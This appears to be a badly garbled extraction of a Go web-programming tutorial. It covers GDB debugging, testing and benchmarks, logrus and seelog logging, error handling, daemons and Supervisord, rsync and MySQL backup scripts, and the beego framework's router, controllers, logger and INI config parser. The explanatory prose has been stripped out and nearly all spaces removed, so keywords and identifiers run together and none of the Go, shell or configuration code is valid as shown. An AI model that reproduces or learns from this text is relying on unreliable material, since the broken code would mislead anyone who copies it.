*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched
p$len()$cap()stringslicesmaps
whatis
whatismsg,
type=structstring
next
n, n
coutinue
cN
setvariable
setvariable<var>=<value>
GDBGo
packagemain
import("fmt""time"
)
funccounting(cchan<-int){fori:=0;i<10;i++{time.Sleep(2*time.Second)c<-i}close(c)}
funcmain(){msg:="Startingmain"fmt.Println(msg)bus:=make(chanint)msg="startingagofunc"gocounting(bus)forcount:=rangebus{fmt.Println("count:",count)}}
gdbfile:
gobuild-gcflags"-N-l"gdbfile.go
gdb
gdbgdbfile
run
(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmaincount:0count:1count:2count:3
count:4count:5count:6count:7count:8count:9[LWP2771exited][Inferior1(process2771)exitednormally]
(gdb)b23Breakpoint1at0x400d8d:file/home/xiemengjun/gdbfile.go,line23.(gdb)runStartingprogram:/home/xiemengjun/gdbfileStartingmain[NewLWP3284][SwitchingtoLWP3284]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
b2323 run list
(gdb)list18fmt.Println(msg)19bus:=make(chanint)20msg="startingagofunc"21gocounting(bus)22forcount:=rangebus{23fmt.Println("count:",count)24}25}
GDB
(gdb)infolocals
count=0bus=0xf840001a50(gdb)pcount$1=0(gdb)pbus$2=(chanint)0xf840001a50(gdb)whatisbustype=chanint
(gdb)cContinuing.count:0[NewLWP3303][SwitchingtoLWP3303]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)(gdb)cContinuing.count:1[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
cfor
(gdb)infolocalscount=2bus=0xf840001a50(gdb)setvariablecount=9(gdb)infolocalscount=9bus=0xf840001a50(gdb)cContinuing.count:9
[SwitchingtoLWP3302]
Breakpoint1,main.main()at/home/xiemengjun/gdbfile.go:2323fmt.Println("count:",count)
goroutinegoroutine
(gdb)infogoroutines*1runningruntime.gosched*2syscallruntime.entersyscall3waitingruntime.gosched4runnableruntime.gosched(gdb)goroutine1bt#00x000000000040e33binruntime.gosched()at/home/xiemengjun/go/src/pkg/runtime/proc.c:927#10x0000000000403091inruntime.chanrecv(c=void,ep=void,selected=void,received=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:327#20x000000000040316finruntime.chanrecv2(t=void,c=void)at/home/xiemengjun/go/src/pkg/runtime/chan.c:420#30x0000000000400d6finmain.main()at/home/xiemengjun/gdbfile.go:22#40x000000000040d0c7inruntime.main()at/home/xiemengjun/go/src/pkg/runtime/proc.c:244#50x000000000040d16ainschedunlock()at/home/xiemengjun/go/src/pkg/runtime/proc.c:267#60x0000000000000000in??()
goroutinesgoruntine
GDBGo runprintinfosetvariablecoutinuelistbreakGDBGoGDBGDB
links
:: Go
11.3GoGo
Gotestinggotest testing
gotests:
goget-u-vgithub.com/cweill/gotests/...
gotest gotest,
gotest.gogotest_test.go
1. gotest.go::
packagegotest
import("errors")
funcDivision(a,bfloat64)(float64,error){ifb==0{return0,errors.New("0" )}
returna/b,nil}
1. gotest_test.go:
_test.go gotest
importtestingTest
TestXxx()testing.T
funcTestXxx(t*testing.T),Xxx[a-z] Testintdiv
testing.TError,Errorf,FailNow,Fatal,FatalIf Log
packagegotest
import("testing")
funcTest_Division_1(t*testing.T){ifi,e:=Division(6,2);i!=3||e!=nil{//tryaunittestonfunctiont.Error("" )//}else{t.Log("" )//}}
funcTest_Division_2(t*testing.T){t.Error("" )}
`gotest`,
---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1
FAILgotest0.013s`t.Error``gotest``gotest-v`
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---FAIL:Test_Division_2(0.00seconds)gotest_test.go:16:FAILexitstatus1FAILgotest0.012s
1`Test_Division_1` 2`Test_Division_2` 2
funcTest_Division_2(t*testing.T){if_,e:=Division(6,0);e==nil{//tryaunittestonfunctiont.Error("Divisiondidnotworkasexpected.")//
}else{t.Log("onetestpassed.",e)//}}
`gotest-v`
===RUNTest_Division_1---PASS:Test_Division_1(0.00seconds)gotest_test.go:11:===RUNTest_Division_2---PASS:Test_Division_2(0.00seconds)gotest_test.go:20:onetestpassed.0PASSokgotest0.013s
(,
XXX
funcBenchmarkXXX(b*testing.B){...}
gotest -test.bench: -test.bench="test_name_regex",gotest-test.bench=".*"
, testing.B.N,_test.go
webbench_test.go
packagegotest
import("testing")
funcBenchmark_Division(b*testing.B){fori:=0;i<b.N;i++{//useb.NforloopingDivision(4,5)}}
funcBenchmark_TimeConsumingFunction(b*testing.B){b.StopTimer()//
//,,,//
b.StartTimer()//fori:=0;i<b.N;i++{Division(4,5)}}
gotest-filewebbench_test.go-test.bench=".*"
PASSBenchmark_Division5000000007.76ns/opBenchmark_TimeConsumingFunction5000000007.80ns/opokgotest9.364s
TestXXX Benchmark_Division5000000007.76Benchmark_TimeConsumingFunction5000000007.80
testing gotest,gotest
links
: GDB:
11.4GoGDBGDBGo testing gotestWeb()
links
: Go:
12
10%90%10%10%
GoGoCdaemon
links
::
12.1WebGologfmtpanicGoJavaC++log4jlog4cpp: logrusseelog
##logruslogrusGologAPI,Go
logrus
goget-ugithub.com/sirupsen/logrus
:
packagemain
import(log"github.com/Sirupsen/logrus")
funcmain(){log.WithFields(log.Fields{"animal":"walrus",}).Info("Awalrusappears")}
logrus
packagemain
import(log"github.com/Sirupsen/logrus""os")
funcinit(){//JSONASCIIlog.SetFormatter(&log.JSONFormatter{})
//stdoutstderrlog.SetOutput(os.Stdout)
//log.SetLevel(log.WarnLevel)}
funcmain(){log.WithFields(log.Fields{"animal":"walrus","size":10,
}).Info("Agroupofwalrusemergesfromtheocean")
log.WithFields(log.Fields{"omg":true,"number":122,}).Warn("Thegroup'snumberincreasedtremendously!")
log.WithFields(log.Fields{"omg":true,"number":100,}).Fatal("Theicebreaks!")
////logrus.EntryWithFields()contextLogger:=log.WithFields(log.Fields{"common":"thisisacommonfield","other":"Ialsoshouldbeloggedalways",})
contextLogger.Info("I'llbeloggedwithcommonandotherfield")contextLogger.Info("Metoo")}
seelog
seelogGo
XML
logrotateSMTP
seelogwiki
seelog
goget-ugithub.com/cihub/seelog
packagemain
importlog"github.com/cihub/seelog"
funcmain(){deferlog.Flush()log.Info("HellofromSeelog!")}
Hellofromseelogseelog
seelog
seelog
packagelogs
import(//"errors""fmt"seelog"github.com/cihub/seelog"//"io")
varLoggerseelog.LoggerInterface
funcloadAppConfig(){
appConfig:=`<seelogminlevel="warn"><outputsformatid="common"><rollingfiletype="size"filename="/data/logs/roll.log"maxsize="100000"maxrolls="5"/><filterlevels="critical"><filepath="/data/logs/critical.log"formatid="critical"/><smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp></filter></outputs><formats><formatid="common"format="%Date/%Time[%LEV]%Msg%n"/><formatid="critical"format="%File%FullPath%Func%Msg%n"/><formatid="criticalemail"format="Criticalerroronourserver!\n%Time%Date%RelFile%Func%Msg\nSentbySeelog"/></formats></seelog>`logger,err:=seelog.LoggerFromConfigAsBytes([]byte(appConfig))iferr!=nil{fmt.Println(err)return}UseLogger(logger)}
funcinit(){DisableLog()loadAppConfig()}
//DisableLogdisablesalllibrarylogoutputfuncDisableLog(){Logger=seelog.Disabled}
//UseLoggerusesaspecifiedseelog.LoggerInterfacetooutputlibrarylog.
//UsethisfuncifyouareusingSeelogloggingsysteminyourapp.funcUseLogger(newLoggerseelog.LoggerInterface){Logger=newLogger}
DisableLog
LoggerseelogLogger
loadAppConfig
seelogXML
seelog
minlevel,maxlevel
outputs
logrotatefiltercritical
formats
UseLogger
packagemain
import("net/http"
"project/logs""project/configs""project/routes")
funcmain(){addr,_:=configs.MainConfig.String("server","addr")logs.Logger.Info("Startserverat:%v",addr)err:=http.ListenAndServe(addr,routes.NewMux())logs.Logger.Critical("Servererr:%v",err)}
smtp
<smtpformatid="criticalemail"senderaddress="[email protected]"sendername="ShortUrlAPI"hostname="smtp.gmail.com"hostport="587"username="mailusername"password="mailpassword"><recipientaddress="[email protected]"/></smtp>
criticalemailrecipient
logs.Logger.Critical("testCriticalmessage")
CriticalEmail
"Info""warn"linuxgrep
#cat/data/logs/roll.log|grep"failedlogin"2012-12-1111:12:00WARN:failedloginattemptfrom11.22.33.44usernamepassword
Webseeloglogrotate
seelogseelogminlevel
links
::
12.2WebWeb
SQLSQL
inijson
HTTP404401()403()503()
Web(404.html)(error.html)errnil404()
404.htmlerror.html
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit">
<h1>404!</h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
<htmllang="en"><head><metahttp-equiv="Content-Type"content="text/html;charset=utf-8"><title> </title><metaname="viewport"content="width=device-width,initial-scale=1.0">
</head><body><divclass="container"><divclass="row"><divclass="span10"><divclass="hero-unit"><h1>! </h1><p>{{.ErrorInfo}}</p></div></div><!--/span--></div></div></body></html>
404
func(p*MyMux)ServeHTTP(whttp.ResponseWriter,r*http.Request){ifr.URL.Path=="/"{sayhelloName(w,r)return}NotFound404(w,r)return}
funcNotFound404(whttp.ResponseWriter,r*http.Request){log.Error("" )//t,_=t.ParseFiles("tmpl/404.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
funcSystemError(whttp.ResponseWriter,r*http.Request){log.Critical("" )//Critical
t,_=t.ParseFiles("tmpl/error.html",nil)//ErrorInfo:="" //t.Execute(w,ErrorInfo)//merger}
try...catchGopanicos.Openpanicnet.ConnWritepanic
panicx[j]jpanicpanicgoroutinepanicpanicGopanicuidUserusernameuidrecoverrecover
funcGetUser(uidint)(usernamestring){deferfunc(){ifx:=recover();x!=nil{username=""}
}()
username=User[uid]return}
packagepanicpanicrecoverpackage
WebGo
links
::
12.3WebGoCdaemonGodaemonGoSupervisordupstartdaemontoolsSupervisord
daemon
GodaemonGobug `http://code.google.com/p/go/issues/detail?id=227`fork
daemon
MarGoCommond
d:=flag.Bool("d",false,"Whetherornottolaunchinthebackground(likeadaemon)")if*d{cmd:=exec.Command(os.Args[0],"-close-fds","-addr",*addr,"-call",*call,)serr,err:=cmd.StderrPipe()iferr!=nil{log.Fatalln(err)}err=cmd.Start()iferr!=nil{log.Fatalln(err)}s,err:=ioutil.ReadAll(serr)s=bytes.TrimSpace(s)ifbytes.HasPrefix(s,[]byte("addr:")){fmt.Println(string(s))cmd.Process.Release()}else{log.Printf("unexpectedresponsefromMarGo:`%s`error:`%v`\n",s,err)cmd.Process.Kill()}}
syscall
packagemain
import("log""os""syscall")
funcdaemon(nochdir,nocloseint)int{varret,ret2uintptrvarerruintptr
darwin:=syscall.OS=="darwin"
//alreadyadaemonifsyscall.Getppid()==1{return0}
//forkofftheparentprocessret,ret2,err=syscall.RawSyscall(syscall.SYS_FORK,0,0,0)iferr!=0{return-1}
//failureifret2<0{os.Exit(-1)}
//handleexceptionfordarwinifdarwin&&ret2==1{ret=0}
//ifwegotagoodPID,thenwecallexittheparentprocess.ifret>0{os.Exit(0)}
/*Changethefilemodemask*/_=syscall.Umask(0)
//createanewSIDforthechildprocesss_ret,s_errno:=syscall.Setsid()ifs_errno!=0{log.Printf("Error:syscall.Setsiderrno:%d",s_errno)}ifs_ret<0{return-1}
ifnochdir==0{os.Chdir("/")}
ifnoclose==0{f,e:=os.OpenFile("/dev/null",os.O_RDWR,0)ife==nil{fd:=f.Fd()syscall.Dup2(fd,os.Stdin.Fd())syscall.Dup2(fd,os.Stdout.Fd())syscall.Dup2(fd,os.Stderr.Fd())}}
return0}
Godaemondaemonskynetdaemon
Supervisord
GodaemonSupervisordSupervisordPythonsupervisorddaemon
SupervisordSupervisordSupervisord100000Supervisord10241024.
Supervisord
Supervisordsudoeasy_installsupervisorSupervisord setup.pyinstall
easy_installsetuptools
http://pypi.python.org/pypi/setuptools#filespython shsetuptoolsxxxx.eggeasy_installSupervisord
Supervisord
Supervisord/etc/supervisord.conf
;/etc/supervisord.conf[unix_http_server]file=/var/run/supervisord.sockchmod=0777chown=root:root
[inet_http_server]#Webport=9001username=adminpassword=yourpassword
[supervisorctl]; 'unix_http_server'serverurl=unix:///var/run/supervisord.sock
[supervisord]logfile=/var/log/supervisord/supervisord.log;(mainlogfile;default$CWD/supervisord.log)logfile_maxbytes=50MB;(maxmainlogfilebytesb4rotation;default50MB)logfile_backups=10;(numofmainlogfilerotationbackups;default10)loglevel=info;(loglevel;defaultinfo;others:debug,warn,trace)pidfile=/var/run/supervisord.pid;(supervisordpidfile;defaultsupervisord.pid)nodaemon=true;(startinforegroundiftrue;defaultfalse)minfds=1024;(min.availstartupfiledescriptors;default1024)minprocs=200;(min.availprocessdescriptors;default200)user=root;(defaultiscurrentuser,requiredifroot)childlogdir=/var/log/supervisord/;('AUTO'childlogdir,default$TEMP)
[rpcinterface:supervisor]supervisor.rpcinterface_factory=supervisor.rpcinterface:make_main_rpcinterface
;program[program:blogdemon]
command=/data/blog/blogdemonautostart=truestartsecs=5user=rootredirect_stderr=truestdout_logfile=/var/log/supervisord/blogdemon.log
Supervisord
Supervisordsupervisorsupervisorctl
supervisordSupervisordsupervisorctlstopprogramxxx(programxxx)programxxx[program:blogdemon]blogdemonsupervisorctlstartprogramxxxsupervisorctlrestartprogramxxxsupervisorctlstopallstartrestartstopsupervisorctlreload
GodaemonGodaemondaemonpythonSupervisordSupervisordGo
links
::
12.4/Mysqlredis
Web
rsyncrsyncwindowswindowscwrsync
rsync
rysnc http://rsync.samba.org/rsyncLinux
#sudoapt-getinstallrsyncdebianubuntu#yuminstallrsyncFedoraRedhatCentOS#rpm-ivhrsyncFedoraRedhatCentOSrpm
Linux
tarxvfrsync-xxx.tar.gzcdrsync-xxx./configure--prefix=/usr;make;makeinstallgcc
rsync
rsyncrsyncd.conf()rsyncd.secrets()rsyncd.motd(rysnc)
rsync
#/usr/bin/rsync--daemon--config=/etc/rsyncd.conf
--daemonrsyncrsync
echo'rsync--daemon'>>/etc/rc.d/rc.local
rsync
echo':' >/etc/rsyncd.secretschmod600/etc/rsyncd.secrets
rsync-avzP--delete--password-file=rsyncd.secrets@ 192.168.145.5::www/var/rsync/backup
i. -avzP--helpii. --deleteABiii. --password-file/etc/rsyncd.secrets/etc/rsyncd.secretscron
iv. ""/etc/rsyncd.secretsv. 192.168.145.5IP
vi. ::www2:www/etc/rsyncd.conf[www]/etc/rsyncd.conf[www]:
crontabrsync
MySQL
MySQLMySQLmaster/slavemaster/slavemaster/slave
shellrsync
mysqlmysqldump
#!/bin/bash
#mysql_user="USER"#MySQLmysql_password="PASSWORD"#MySQLmysql_host="localhost"mysql_port="3306"mysql_charset="utf8"#MySQLbackup_db_arr=("db1""db2")#("db1""db2""db3")
backup_location=/var/www/mysql#"/",
expire_backup_delete="ON"#ONOFFexpire_days=3#expire_backup_delete
#backup_time=`date+%Y%m%d%H%M`#backup_Ymd=`date+%Y-%m-%d`#backup_3ago=`date-d'3daysago'+%Y-%m-%d`#3backup_dir=$backup_location/$backup_Ymd#welcome_msg="WelcometouseMySQLbackuptools!"#
#MYSQL,mysqlmysql_ps=`ps-ef|grepmysql|wc-l`mysql_listen=`netstat-an|grepLISTEN|grep$mysql_port|wc-l`if[[$mysql_ps==0]-o[$mysql_listen==0]];thenecho"ERROR:MySQLisnotrunning!backupstop!"exitelseecho$welcome_msgfi
#mysqlmysql-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password<<endusemysql;selecthost,userfromuserwhereuser='root'andhost='localhost';
exitend
flag=`echo$?`if[$flag!="0"];thenecho"ERROR:Can'tconnectmysqlserver!backupstop!"exitelseecho"MySQLconnectok!Pleasewait......"#if["$backup_db_arr"!=""];then#dbnames=$(cut-d','-f1-5$backup_database)#echo"arris(${backup_db_arr[@]})"fordbnamein${backup_db_arr[@]}doecho"database$dbnamebackupstart..."`mkdir-p$backup_dir``mysqldump-h$mysql_host-P$mysql_port-u$mysql_user-p$mysql_password$dbname--default-character-set=$mysql_charset|gzip>$backup_dir/$dbname-$backup_time.sql.gz`flag=`echo$?`if[$flag=="0"];thenecho"database$dbnamesuccessbackupto$backup_dir/$dbname-$backup_time.sql.gz"elseecho"database$dbnamebackupfail!"
fi
doneelseecho"ERROR:Nodatabasetobackup!backupstop"exitfi#if["$expire_backup_delete"=="ON"-a"$backup_location"!=""];then#`find$backup_location/-typed-o-typef-ctime+$expire_days-execrm-rf{}\;``find$backup_location/-typed-mtime+$expire_days|xargsrm-rf`echo"Expiredbackupdatadeletecomplete!"fiecho"Alldatabasebackupsuccess!Thankyou!"exitfi
shell
chmod600/root/mysql_backup.shchmod+x/root/mysql_backup.sh
crontab00:00/var/www/mysqlrsync
0000***/root/mysql_backup.sh
MySQL
MySQLslave
SQL
mysql-uusername-pdatabse<backup.sql
redis
redisNoSQLredismaster/slaveredisrsync
redis
redisMySQL
rediscopyredisredisredis
gopathGOPATHGOPATHwindowlinux/MacOS exportgopath=/home/astaxie/gopathgopathpkgbinsrcsrcbeeblogwindow
13.1GOPATH
13.2$gopath/src
--MVCGo
(Model)(View)GoRSS“”GotemplateView(Controller)HTTP
:
13.3
1. main.go2. HTTPURLmethod()3.4. HTTP5.6. Web
|——main.go|——conf|——controllers|——models|——utils|——static|——views
REST
GOPATHMVC
links
::
13.2
HTTP
HTTPHTTP(struct)
(path)(:/user/123,/article/123)(?id=11)HTTP(method)(GETPOSTPUTDELETEPATCH)
()
3.4GohttpGohttp
funcfooHandler(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))}
http.HandleFunc("/foo",fooHandler)
http.HandleFunc("/bar",func(whttp.ResponseWriter,r*http.Request){fmt.Fprintf(w,"Hello,%q",html.EscapeString(r.URL.Path))})
log.Fatal(http.ListenAndServe(":8080",nil))
httpDefaultServeMuxURL(r.URL.Path)
Gohttp.Handlehttp.HandleFunc DefaultServeMux.Handle(patternstring,handlerHandler),mapmap[string]muxEntry
GotcpHandlernil http.DefaultServeMuxDefaultServeMux.ServeHTTPmapURL
fork,v:=rangemux.m{if!pathMatch(k,path){continue}ifh==nil||len(k)>n{n=len(k)
h=v.h}}
beego
WebhttpGo
/user/:uidREST/fooGETPOSTDELETEHEADAPIstruct
beegoRESTGo
RESTstructstructmethod
controllerInfo(structreflect.Type)ControllerRegistor(routersslicebeego)
typecontrollerInfostruct{regex*regexp.Regexpparamsmap[int]stringcontrollerTypereflect.Type}
typeControllerRegistorstruct{routers[]*controllerInfoApplication*App}
ControllerRegistor
func(p*ControllerRegistor)Add(patternstring,cControllerInterface)
func(p*ControllerRegistor)Add(patternstring,cControllerInterface){parts:=strings.Split(pattern,"/")
j:=0params:=make(map[int]string)fori,part:=rangeparts{ifstrings.HasPrefix(part,":"){expr:="([^/]+)"
//ausermaychoosetooverridethedefultexpression//similartoexpressjs:‘/user/:id([0-9]+)’
ifindex:=strings.Index(part,"(");index!=-1{expr=part[index:]part=part[:index]}params[j]=partparts[i]=exprj++}}
//recreatetheurlpattern,withparametersreplaced//byregularexpressions.thencompiletheregex
pattern=strings.Join(parts,"/")regex,regexErr:=regexp.Compile(pattern)ifregexErr!=nil{
//TODOadderrorhandlingheretoavoidpanicpanic(regexErr)return}
//nowcreatetheRoutet:=reflect.Indirect(reflect.ValueOf(c)).Type()
route:=&controllerInfo{}route.regex=regexroute.params=paramsroute.controllerType=t
p.routers=append(p.routers,route)
}
GohttpFileServerbeegoStaticDirStaticDirmap
func(app*App)SetStaticPath(urlstring,pathstring)*App{StaticDir[url]=pathreturnapp}
beego.SetStaticPath("/img","/static/img")
ControllerRegistor
//AutoRoutefunc(p*ControllerRegistor)ServeHTTP(whttp.ResponseWriter,r*http.Request){deferfunc(){iferr:=recover();err!=nil{if!RecoverPanic{//gobacktopanicpanic(err)
}else{Critical("Handlercrashedwitherror",err)fori:=1;;i+=1{_,file,line,ok:=runtime.Caller(i)if!ok{break}Critical(file,line)}}}}()varstartedboolforprefix,staticDir:=rangeStaticDir{ifstrings.HasPrefix(r.URL.Path,prefix){file:=staticDir+r.URL.Path[len(prefix):]http.ServeFile(w,r,file)started=truereturn}}requestPath:=r.URL.Path
//findamatchingRoutefor_,route:=rangep.routers{
//checkifRoutepatternmatchesurlif!route.regex.MatchString(requestPath){continue}
//getsubmatches(params)matches:=route.regex.FindStringSubmatch(requestPath)
//doublecheckthattheRoutematchestheURLpattern.iflen(matches[0])!=len(requestPath){continue}
params:=make(map[string]string)iflen(route.params)>0{//addurlparameterstothequeryparammapvalues:=r.URL.Query()fori,match:=rangematches[1:]{values.Add(route.params[i],match)params[route.params[i]]=match
}
//reassemblequeryparamsandaddtoRawQueryr.URL.RawQuery=url.Values(values).Encode()+"&"+r.URL.RawQuery//r.URL.RawQuery=url.Values(values).Encode()}//Invoketherequesthandlervc:=reflect.New(route.controllerType)init:=vc.MethodByName("Init")in:=make([]reflect.Value,2)ct:=&Context{ResponseWriter:w,Request:r,Params:params}in[0]=reflect.ValueOf(ct)in[1]=reflect.ValueOf(route.controllerType.Name())init.Call(in)in=make([]reflect.Value,0)method:=vc.MethodByName("Prepare")method.Call(in)ifr.Method=="GET"{method=vc.MethodByName("Get")method.Call(in)}elseifr.Method=="POST"{method=vc.MethodByName("Post")method.Call(in)}elseifr.Method=="HEAD"{method=vc.MethodByName("Head")method.Call(in)}elseifr.Method=="DELETE"{method=vc.MethodByName("Delete")method.Call(in)}elseifr.Method=="PUT"{method=vc.MethodByName("Put")method.Call(in)}elseifr.Method=="PATCH"{method=vc.MethodByName("Patch")method.Call(in)}elseifr.Method=="OPTIONS"{method=vc.MethodByName("Options")method.Call(in)}ifAutoRender{method=vc.MethodByName("Render")method.Call(in)}method=vc.MethodByName("Finish")
method.Call(in)started=truebreak}
//ifnomatchestourl,throwanotfoundexceptionifstarted==false{http.NotFound(w,r)}}
beego.BeeApp.RegisterController("/",&controllers.MainController{})
beego.BeeApp.RegisterController("/:param",&controllers.UserController{})
beego.BeeApp.RegisterController("/users/:uid([0-9]+)",&controllers.UserController{})
links
:: controller
13.3controllerMVCActionWebRESTFilterrewriteURLRESTURLRESTMVCRESTMVCcontrollerWeb“Hello,world”
controller
MVCWebModelViewController(UI)ModelViewHTMLControllerWebURLURLcontrollerMVCModelView302ModelViewcontroller
beego REST
structstructRESTcontrollerstructinterface
typeControllerstruct{Ct*ContextTpl*template.TemplateDatamap[interface{}]interface{}ChildNamestringTplNamesstringLayout[]stringTplExtstring}
typeControllerInterfaceinterface{Init(ct*Context,cnstring)//Prepare()//Get()//method=GETPost()//method=POSTDelete()//method=DELETE
Put()//method=PUTHead()//method=HEADPatch()//method=PATCHOptions()//method=OPTIONSFinish()//Render()error//method}
addControllerInterfaceController
func(c*Controller)Init(ct*Context,cnstring){c.Data=make(map[interface{}]interface{})c.Layout=make([]string,0)c.TplNames=""c.ChildName=cnc.Ct=ctc.TplExt="tpl"}
func(c*Controller)Prepare(){
}
func(c*Controller)Finish(){
}
func(c*Controller)Get(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Post(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Delete(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Put(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Head(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Patch(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Options(){http.Error(c.Ct.ResponseWriter,"MethodNotAllowed",405)}
func(c*Controller)Render()error{iflen(c.Layout)>0{varfilenames[]stringfor_,file:=rangec.Layout{filenames=append(filenames,path.Join(ViewsPath,file))}t,err:=template.ParseFiles(filenames...)iferr!=nil{Trace("templateParseFileserr:",err)}err=t.ExecuteTemplate(c.Ct.ResponseWriter,c.TplNames,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}else{ifc.TplNames==""{c.TplNames=c.ChildName+"/"+c.Ct.Request.Method+"."+c.TplExt}t,err:=template.ParseFiles(path.Join(ViewsPath,c.TplNames))iferr!=nil{Trace("templateParseFileserr:",err)}err=t.Execute(c.Ct.ResponseWriter,c.Data)iferr!=nil{Trace("templateExecuteerr:",err)}}returnnil}
func(c*Controller)Redirect(urlstring,codeint){c.Ct.Redirect(code,url)}
controllerurlcontroller
Init()Prepare()method() method GETPOSTPUTHEAD403
Render() AutoRenderFinish()
beegocontroller
packagecontrollers
import("github.com/astaxie/beego")
typeMainControllerstruct{beego.Controller}
func(this*MainController)Get(){this.Data["Username"]="astaxie"this.Data["Email"]="[email protected]"this.TplNames="index.tpl"}
MainControllerGet(POST/HEAD)403GetAutoRender=trueGetRender
index.tpl
<!DOCTYPEhtml><html><head><title>beegowelcometemplate</title></head><body><h1>Hello,world!{{.Username}},{{.Email}}</h1></body></html>
links
::
13.4
seeloglevellevellevel
beego
beegoseeloglevelbeegolog.Loggeros.Stdout,beego.SetLogger
//Loglevelstocontroltheloggingoutput.const(LevelTrace=iotaLevelDebugLevelInfoLevelWarningLevelErrorLevelCritical)
//logLevelcontrolsthegloballoglevelusedbythelogger.varlevel=LevelTrace
//LogLevelreturnsthegloballoglevelandcanbeusedin//ownimplementationsoftheloggerinterface.funcLevel()int{returnlevel}
//SetLogLevelsetsthegloballoglevelusedbythesimple//logger.funcSetLevel(lint){level=l}
TraceSetLevel
//loggerreferencestheusedapplicationlogger.varBeeLogger=log.New(os.Stdout,"",log.Ldate|log.Ltime)
//SetLoggersetsanewlogger.funcSetLogger(l*log.Logger){BeeLogger=l}
//Tracelogsamessageattracelevel.funcTrace(v...interface{}){iflevel<=LevelTrace{BeeLogger.Printf("[T]%v\n",v)}}
//Debuglogsamessageatdebuglevel.funcDebug(v...interface{}){iflevel<=LevelDebug{BeeLogger.Printf("[D]%v\n",v)}}
//Infologsamessageatinfolevel.funcInfo(v...interface{}){iflevel<=LevelInfo{BeeLogger.Printf("[I]%v\n",v)}}
//Warninglogsamessageatwarninglevel.funcWarn(v...interface{}){iflevel<=LevelWarning{BeeLogger.Printf("[W]%v\n",v)}}
//Errorlogsamessageaterrorlevel.funcError(v...interface{}){iflevel<=LevelError{BeeLogger.Printf("[E]%v\n",v)}}
//Criticallogsamessageatcriticallevel.funcCritical(v...interface{}){iflevel<=LevelCritical{BeeLogger.Printf("[C]%v\n",v)}}
BeeLoggeros.Stdoutbeego.SetLoggerlogger
Trace"Enteredparsefunctionvalidationblock""Validation:enteredsecond'if'""Dictionary'Dict'isempty.Usingdefaultvalue"
Debug"Webpagerequested:http://somesite.comParams='...'""Responsegenerated.Responsesize:10000.Sending.""Newfilereceived.Type:PNGSize:20000"
Info"Webserverrestarted""Hourlystatistics:Requestedpages:12345Errors:123...""Servicepaused.Waitingfor'resume'call"
Warn"Cachecorruptedforfile='test.file'.Readingfromback-end""Database192.168.0.7/DBnotresponding.Usingbackup192.168.0.8/DB""Noresponsefromstatisticsserver.Statisticsnotsent"
Error"Internalerror.Cannotprocessrequest#12345Error:....""Cannotperformlogin:credentialsDBnotresponding"
Critical"Criticalpanicreceived:....Shuttingdown""Fatalerror:...Appisshuttingdowntopreventdatacorruptionorloss"
levellevel=LevelWarningTraceDebugInfo
beego
beegokey=valueinimapstringint
ini
var(bComment=[]byte{'#'}bEmpty=[]byte{}bEqual=[]byte{'='}bDQuote=[]byte{'"'})
//AConfigrepresentstheconfiguration.typeConfigstruct{filenamestringcommentmap[int][]string//id:[]{comment,key...};id1isformaincomment.datamap[string]string//key:valueoffsetmap[string]int64//key:offset;forediting.sync.RWMutex}
key=value
//ParseFilecreatesanewConfigandparsesthefileconfigurationfromthe//namedfile.funcLoadConfig(namestring)(*Config,error){file,err:=os.Open(name)iferr!=nil{returnnil,err}
cfg:=&Config{file.Name(),make(map[int][]string),make(map[string]string),make(map[string]int64),sync.RWMutex{},}
cfg.Lock()defercfg.Unlock()deferfile.Close()
varcommentbytes.Bufferbuf:=bufio.NewReader(file)
fornComment,off:=0,int64(1);;{line,_,err:=buf.ReadLine()iferr==io.EOF{break}ifbytes.Equal(line,bEmpty){continue}
off+=int64(len(line))
ifbytes.HasPrefix(line,bComment){line=bytes.TrimLeft(line,"#")line=bytes.TrimLeftFunc(line,unicode.IsSpace)comment.Write(line)comment.WriteByte('\n')continue}ifcomment.Len()!=0{cfg.comment[nComment]=[]string{comment.String()}comment.Reset()nComment++}
val:=bytes.SplitN(line,bEqual,2)ifbytes.HasPrefix(val[1],bDQuote){val[1]=bytes.Trim(val[1],`"`)}
key:=strings.TrimSpace(string(val[0]))cfg.comment[nComment-1]=append(cfg.comment[nComment-1],key)cfg.data[key]=strings.TrimSpace(string(val[1]))cfg.offset[key]=off}returncfg,nil}
boolintfloat64string
//Boolreturnsthebooleanvalueforagivenkey.func(c*Config)Bool(keystring)(bool,error){returnstrconv.ParseBool(c.data[key])}
//Intreturnstheintegervalueforagivenkey.func(c*Config)Int(keystring)(int,error){returnstrconv.Atoi(c.data[key])}
//Floatreturnsthefloatvalueforagivenkey.func(c*Config)Float(keystring)(float64,error){returnstrconv.ParseFloat(c.data[key],64)}
//Stringreturnsthestringvalueforagivenkey.func(c*Config)String(keystring)string{returnc.data[key]}
urljson
